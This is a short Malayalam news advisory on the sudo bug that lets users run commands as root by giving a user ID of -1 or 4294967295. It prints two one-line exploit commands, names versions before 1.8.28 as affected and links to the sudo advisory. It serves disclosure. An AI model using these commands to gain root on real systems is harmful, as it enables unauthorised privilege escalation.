സുഡോയിലെ അപകടസാധ്യത

/etc/sudoers മറ്റ് ഉപയോക്താക്കൾ എക്സിക്യൂട്ട് ചെയ്യാൻ അനുവദിക്കുകയും റൂട്ടിനായി നിരോധിക്കുകയും ചെയ്താൽ, എക്സിക്യൂട്ടബിൾ ഫയലുകൾ റൂട്ടായി എക്സിക്യൂട്ട് ചെയ്യാൻ സുഡോയിലെ ഒരു ബഗ് നിങ്ങളെ അനുവദിക്കുന്നു.

പിശക് ചൂഷണം ചെയ്യുന്നത് വളരെ ലളിതമാണ്:

sudo -u#-1 id -u

അഥവാ:

sudo -u#4294967295 id -u

1.8.28-ന് മുമ്പുള്ള സുഡോയുടെ എല്ലാ പതിപ്പുകളിലും പിശക് ഉണ്ട്

വിശദാംശങ്ങൾ:

https://thehackernews.com/2019/10/linux-sudo-run-as-root-flaw.html

https://www.sudo.ws/alerts/minus_1_uid.html

അവലംബം: linux.org.ru